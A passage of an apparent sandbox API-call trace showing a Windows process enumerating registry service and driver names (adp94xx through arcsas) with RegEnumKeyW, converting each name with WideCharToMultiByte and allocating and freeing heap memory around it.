Flags=0x8, Size=0x40) returned 0x1de4450 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.374] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0256.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.375] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.376] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0256.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.377] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.378] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0256.379] 